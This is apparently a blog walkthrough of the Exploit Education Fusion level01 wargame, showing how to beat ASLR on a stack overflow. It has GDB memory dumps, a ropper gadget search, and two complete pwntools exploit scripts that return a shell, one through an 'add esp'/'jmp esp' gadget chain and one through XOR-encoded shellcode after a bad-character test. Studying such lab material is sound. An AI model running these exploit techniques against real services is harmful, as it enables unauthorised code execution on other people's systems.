Exploit Education | Fusion | Level 01 Solution

level00 with stack/heap/mmap aslr, without info leak :)

The description and source code can be found here:
http://exploit.education/fusion/level01/

This is the same exact level as the first one, but with one added protection, ASLR. The stack addresses will be randomized so we won’t be able to simply point EIP to our shellcode there. My initial thought is to debug the program while it’s running and see if there’s any registers that point to any part of the user input. Maybe we’ll get lucky and find a “jmp register” gadget to jump execution to our shellcode on the stack.

First I’ll verify this program works the same way as the previous one. And in case you didn’t read my previous post, I have an entry in my /etc/hosts file for the Fusion VM’s IP address.

andrew ~/fusion $ nc fusion 20001
GET /root HTTP/1.1
trying to access /root

It does, with the only exception that it doesn’t give you the address of the “buffer” variable. It wouldn’t be very useful anyway as the address will be randomized each time the program is executed. What I want to do, is debug the program at the point where the fix_path() function returns (since that’s where the buffer overflow vulnerability exists) and see if there’s any registers pointing to any part of the user-controlled input on the stack. If so, can I put shellcode there since it doesn’t have the “Non-Executable stack” protection enabled.

Now, I know that ESP will point to the end of my “user-controlled” input after overflowing the “resolved” variable in the fix_path() function. However, as the previous level indicated, there will be character restrictions due to the user input being run through the realpath() function. This will impact our shellcode. I might be able to run the shellcode through an encoder to avoid any bad characters, but let’s look for another approach at first. Again, I’ll look for any registers that point to my user-controlled input, but it’ll have to be the input saved to the “buffer” variable in the parse_http_request() function.

On the Fusion VM, we’ll attach GDB to the running process and set it to follow child processes:

fusion@fusion:~$ sudo -i

root@fusion:~# ps aux | grep level01
20001     1464  0.0  0.0   1816    52 ?        Ss   Feb14   0:00 /opt/fusion/bin/level01
root      2374  0.0  0.0   4184   796 pts/0    S+   00:33   0:00 grep --color=auto level01

root@fusion:~# gdb -p 1464
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
...
0xb77d2424 in __kernel_vsyscall ()

(gdb) set follow-fork-mode child

Next, I’ll set a breakpoint at the end of the fix_path() function since we’ll be able to control execution right after that. Then I’ll continue the program so we can catch the user input and reach our breakpoint:

(gdb) disas fix_path
Dump of assembler code for function fix_path:
   0x08049815 <+0>:     push   %ebp
   ...
   0x08049853 <+62>:    leave
   0x08049854 <+63>:    ret
End of assembler dump.

(gdb) b *fix_path+63
Breakpoint 1 at 0x8049854: file level01/level01.c, line 9.

(gdb) c
Continuing.

Now I can use a simple script to simulate the buffer overflow attack. For now, I don’t know what to overwrite EIP with, so I’ll just use junk data:

#!/usr/bin/env python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fusion", 20001))

payload  = b"GET /"
payload += b"A" * 127 # fill the 'resolved' buffer
payload += b"B" * 12
payload += b"C" * 4   # overwrite saved EIP
payload += b" HTTP/1.1"

s.sendall(payload)
print(s.recv(1024).strip())

After executing it, I can see that the breakpoint was hit in GDB:

[New process 2099]
[Switching to process 2099]

Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4242424a
) at level01/level01.c:9
9       level01/level01.c: No such file or directory.
        in level01/level01.c
(gdb) 

Now I know that the “buffer” variable is stored in the parse_http_request() function’s stack. This will be a higher address than where the ESP register currently points to, which is the current function’s saved EIP value. So let’s examine memory and make sure to capture all of the input we supplied that’s stored in the “buffer” variable, which should be 158 bytes.

(gdb) x/48wx $esp
0xbfeaca3c:     0x43434343      0xbfeaca00      0x00000020      0x00000004
0xbfeaca4c:     0x001761e4      0x001761e4      0x000027d8      0x20544547
0xbfeaca5c:     0x4141412f      0x41414141      0x41414141      0x41414141
0xbfeaca6c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeaca7c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeaca8c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeaca9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeacaac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeacabc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeacacc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfeacadc:     0x42424242      0x42424242      0x42424242      0x43434343
0xbfeacaec:     0x54544800      0x2e312f50      0x00000031      0x00000000

(gdb) x/s 0xbfeaca5c
0xbfeaca5c:      "/", 'A' <repeats 127 times>, 'B' <repeats 12 times>, "CCCC"

(gdb) x/s 0xbfeacaed
0xbfeacaed:      "HTTP/1.1"

Then I’ll see if there’s any registers that point to user-controlled space:

(gdb) i r
eax            0x1      1
ecx            0xb76d08d0       -1217591088
edx            0xbfeaca40       -1075131840
ebx            0xb7848ff4       -1216049164
esp            0xbfeaca3c       0xbfeaca3c
ebp            0x42424242       0x42424242
esi            0xbfeacaf5       -1075131659
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>
eflags         0x246    [ PF ZF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Look at that, ESI points to the end of the “HTTP/1.1” string! Maybe I can put my shellcode there and try to find a gadget(s) that’ll let me redirect the flow of execution there. Fortunately, the VM comes with ROPgadget, albeit an older version of it.

root@fusion:/opt/ROPgadget-v3.3# ./ROPgadget -file ../fusion/bin/level01 -g -asm "jmp %esi"
/tmp/ropgadget_asm.s: Assembler messages:
/tmp/ropgadget_asm.s:1: Warning: indirect jmp without `*'
Gadgets information
============================================================

Total opcodes found: 0

Nothing is that easy. I searched for a long time for a series of gadgets that would allow me to get the value in ESI to EIP. I also gave up on using this old version of ROPgadget and SCP’ed the binary to my attacking machine so I could use Ropper. I wasn’t able to find anything that would allow me to use ESI, but I did figure out how to use ESP.

andrew ~/fusion $ ropper --file level01 --search "% esp"
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: GNU_STACK
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % esp

[INFO] File: level01
0x08049604: add byte ptr [eax], al; add esp, 0x10; pop esi; pop edi; pop ebp; ret;
0x080488b3: add byte ptr [eax], al; add esp, 8; pop ebx; ret;
0x080488ae: add byte ptr [eax], al; call 0x1a50; add esp, 8; pop ebx; ret;
0x08049a8a: add byte ptr [eax], al; call 0xba0; add esp, 8; pop ebx; ret;
0x080488a9: add byte ptr [eax], al; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;
0x08049f0a: add byte ptr [eax], al; shr cl, 0xff; call esp;
0x08049a6e: add eax, dword ptr [ebx - 0xb8a0008]; add esp, 4; pop ebx; pop ebp; ret;
0x08049606: add esp, 0x10; pop esi; pop edi; pop ebp; ret;
0x08049a29: add esp, 0x1c; pop ebx; pop esi; pop edi; pop ebp; ret;
0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;
0x08049970: add esp, 0x420; pop esi; pop edi; pop ebp; ret;
0x08048bef: add esp, 4; pop ebx; pop ebp; ret;
0x080488b5: add esp, 8; pop ebx; ret;
0x080488b0: call 0x1a50; add esp, 8; pop ebx; ret;
0x080488a6: call 0xa00; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;
0x0804905a: call 0xa10; add esp, 0x230; pop ebx; pop edi; pop ebp; ret;
0x08049a8c: call 0xba0; add esp, 8; pop ebx; ret;
0x080488ab: call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;
0x08049f0f: call esp;
0x08049a6f: cmp eax, -1; jne 0x1a68; add esp, 4; pop ebx; pop ebp; ret;
0x08049f4f: jmp esp;
...

More specifically, I can use these 2 gadgets:

0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;
0x08049f4f: jmp esp;

I can add 560 (0x230) to ESP to get it to point to data stored in the “buffer” variable, then jump to it. Now I just need to calculate how many bytes after the end of the “HTTP/1.1” string the shellcode will start. I know that 560 bytes will be added to ESP after the flow of execution is redirected to the gadget. I also know that ESI points to the end of that string. So I can use the formula ESP + 4 + 560 - ESI.

0xbfeaca3c + 0x4 + 0x230 + 0xbfeacaf5 = 0x17b (379)
    ESP                        ESI

Now I do have to account for the 3 pop instructions in that first gadget, so I’ll need to include 12 bytes of junk data as well. But now I can craft my exploit:

#!/usr/bin/env python3

from pwn import *

io = remote("fusion", 20001)

payload  = b"GET /" + b"A"*127 # fill the 'resolved' variable
payload += b"B"*12
payload += p32(0x0804905f) # add esp, 0x230; pop ebx; pop edi; pop ebp; ret
payload += b" HTTP/1.1"
payload += b"C"*379 # junk data to accomodate the "add esp, 0x230" instruction
payload += b"D"*12 # junk data for the subsequent "pop" instructions
payload += p32(0x08049f4f) # jmp esp
payload += asm(shellcraft.sh())

io.sendline(payload)
io.interactive()

Let’s try it out:

andrew ~/fusion $ ./level01.py
[+] Opening connection to fusion on port 20001: Done
[*] Switching to interactive mode
$ id
uid=20001 gid=20001 groups=20001

Alternate Solution

My first thought for this level was to just put encoded shellcode in the “path” portion of the user input after overwriting the saved return address. Of course I would need to do some “bad character” analysis to figure out which characters to avoid, but this would allow me to use a single jmp esp gadget. I know that I could use msfvenom to generate shellcode and avoid certain characters, but I didn’t have that installed on the attacking machine (not realizing, at the time, that it is installed on the Fusion VM). I know that pwntools seems to have this ability with its “Encoders” module, but I couldn’t get it to work. However, after further experimenting, I figured it out.

Originally, I was trying to use the pwnlib.encoders.encoder.encode function, but it wasn’t modifying the shellcode at all. I believe this to be a bug and will submit an issue for it an Github when I find the time. However, the pwnlib.encoders.i386.xor.encode function did work.

First, I had to send all possible bytes to the “path” portion of the user input and examine the memory to see what was captured and what wasn’t. Of course, I wrote a Python script for this and each time I found a bad character, I’d add it to the “badchars” variable:

#!/usr/bin/env python3

import socket
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("fusion", 20001))

payload  = b"GET /"

badchars = [ 0x00, 0x0a, 0x0d, 0x20, 0x2f ]
path = b""
for i in range(0x00, 0x100):
    if i not in badchars:
        path += bytes([i])

payload += path
payload += b" HTTP/1.1"

s.sendall(payload)
print(s.recv(1024).strip().decode())

That list of “badchars” you see there is all of them. Next, I modified my original exploit script to come up with the new solution:

#!/usr/bin/env python3

from pwn import *

io = remote("fusion", 20001)

payload  = b"GET /" + b"A"*127 # fill the 'resolved' variable
payload += b"B"*12
payload += p32(0x08049f4f) # jmp esp

payload += b"\x90" * 16
shellcode = asm(shellcraft.sh())
avoid = b"\x00\x0a\x0d\x20\x2f"
encoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)
payload += encoded
payload += b" HTTP/1.1"

io.sendline(payload)
io.interactive()

I did struggle at first as my first attempt did not include the payload += b"\x90" * 16 line. The exploit wasn’t working. Then after doing some debugging, I remembered something. The code that decodes the shellcode will overwrite the first few bytes of where ESP points to. Adding some NOP instructions to the beginning will easily solve this problem.

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.